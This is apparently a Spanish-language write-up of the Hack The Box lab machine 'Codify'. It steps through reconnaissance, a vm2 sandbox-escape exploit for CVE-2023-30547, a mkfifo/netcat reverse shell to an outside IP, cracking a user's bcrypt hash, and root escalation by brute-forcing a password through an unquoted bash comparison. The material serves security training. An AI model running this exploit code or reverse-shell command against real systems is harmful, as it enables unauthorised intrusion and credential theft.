Codify

Diciembre 17, 2023

Introducción

Muestro como resolver la máquina Codify de la plataforma Hack the box.

Una vez conectados a través de OpenVPN a la plataforma HTB procedemos a crear nuestro espacio de trabajo.

Dirección IP

  • Ip address: 10.10.11.239

Sistema operativo

Utilizamos la herramienta Ping para ver ante que tipo de máquina estamos.

ping -c 1 10.10.11.239

Como se puede ver tenemos un TTL cercano a 64, por lo que se deduce que estamos ante un equipo Linux.

Escaneo NMAP

Realizamos un escaneo de los 10000 primeros puertos con Nmap.

nmap -p1-10000 --open -Pn -n -T5 -vvv 10.10.11.239
  • 1 => Puertos abiertos encontrados.

Versiones de los servicios que están corriendo en el equipo y scripts de reconocimiento

Realizamos un escaneo de los puertos abiertos encontrados para sacar que versión específica está corriendo en ellos. También aprovechamos y ejecutamos los scripts de reconocimiento que trae la herramienta Nmap.

nmap -p22,80,8000,8080 -sCV 10.10.11.239
  • 22 => OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
  • 80 => Apache httpd 2.4.52
  • 8000 => SimpleHTTPServer 0.6 (Python 3.10.12)
  • 8080 => http-proxy?

Agregamos el dominio al archivo /etc/hosts

Para agregar el dominio codify.htb al archivo /etc/hosts utilizamos el editor de texto nano.

nano /etc/hosts

Agregamos la dirección IP (10.10.11.239) de la máquina seguido del nombre del domino (codify.htb) separado por una tabulación.

Visualizar la web

Puerto 80

Información de interés

  • 1 => About us
  • 2 => Editor de código
  • 3 => Limitaciones del editor

About us

Mirando la página About us se puede llegar a obtener el editor de código que están utilizando. En este caso Vm2.

Mirando información por internet veo que es vulnerable a un RCE (Remote Code Execution).

CVE 2023-30547

«El problema surge cuando el objeto prototipo es un proxy y hay un controlador proxy getPrototypeOf() presente. Esto puede lanzar una excepción host no sanitizada, que es capturada por la sentencia catch externa.
Esta vulnerabilidad surge cuando las excepciones del host pueden filtrarse en el sandbox. Esto puede ocurrir debido al manejo de CatchClause con ObjectPattern.
Para explotar esta vulnerabilidad, un atacante puede utilizar una técnica específica para lanzar una excepción del host, permitiéndoles escapar de la caja de arena y acceder a las funciones del host.

Esto afecta a las versiones de vm2 hasta la 3.9.16. Una explotación exitosa permite a los adversarios eludir la caja de arena y ejecutar código arbitrario.»

Explotación

Ejemplo de la explotación.
Enlace: https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));
  • 1 => Input del comando que queramos
  • 2 => Respuesta del comando

Entablamos la Revershell

Generamos el oneliner mkfifo.

mkfifo': 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4433 >/tmp/f

Nos ponemos en escucha con netcat.

nc -lnvp 443

Ejecutamos > RUN

Tratamiento de la shell

script /dev/null -c bash

Ctrl +  Z

stty raw -echo; fg

reset xterm

export TERM=xterm-256color
source /etc/skel/.bashrc

stty size # Devuelve numeroFilas y numeroColumnas

stty rows numerFilas columns numeroColumnas

Inspeccionamos la máquina

Listamos directorios y archivos ocultos de la ruta /var/www/.

ls -la

Mostramos el contenido del archivo tickets.db con el comando cat.

cat tickets.db

Mirando en su contenido vemos que tiene el hash del usuario joshua. Lo copiamos e intentamos romperlo.

Hash: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Hashes.com

Metemos el hash identificador de hashes online hashes.com y obtenemos que se trata de un hash de tipo bcrypt.

Rompiendo el hash con John the Ripper

john --format=bcrypt --wordlist=./rockyou.txt hash_joshua.txt
  • Password: spongebob1

Conexión por ssh

ssh joshua@codify.htb

Obtenemos la primera flag.

Escalada de privilegios

Ejecutamos el comando sudo -l para ver si tenemos permisos de ejecución como usuario privilegiado en algún binario o script.

sudo -l

Podemos ver que tenemos permisos de root ejecutando el script de nombre mysql-backup.sh.

Por lo visto cuando en un script en bash no se pone la comparativa (==) entrecomillada (‘ ‘) se toma como una coincidencia en vez de como texto.
Por lo tanto, si utilizamos el carácter (*) podemos descubrir mediante fuerza bruta la contraseña completa.

Pasos

1 => Creamos el script en python que será el encargado de obtener la contraseña.

Una vez tenemos generado el script en nuestro equipo local montamos un servidor mediante python para poder acceder al recurso.

python -m http.server 80

Descargamos el archivo en la máquina víctima mediante curl.

curl -O http://10.0.0.1/break-pass.py

Ejecutamos el script.

Obtenemos la contraseña de root.

kljh12k3jhaskjh12kjh3

Obtenemos la flag de root

su root

Introducimos la contraseña y visualizamos la flag.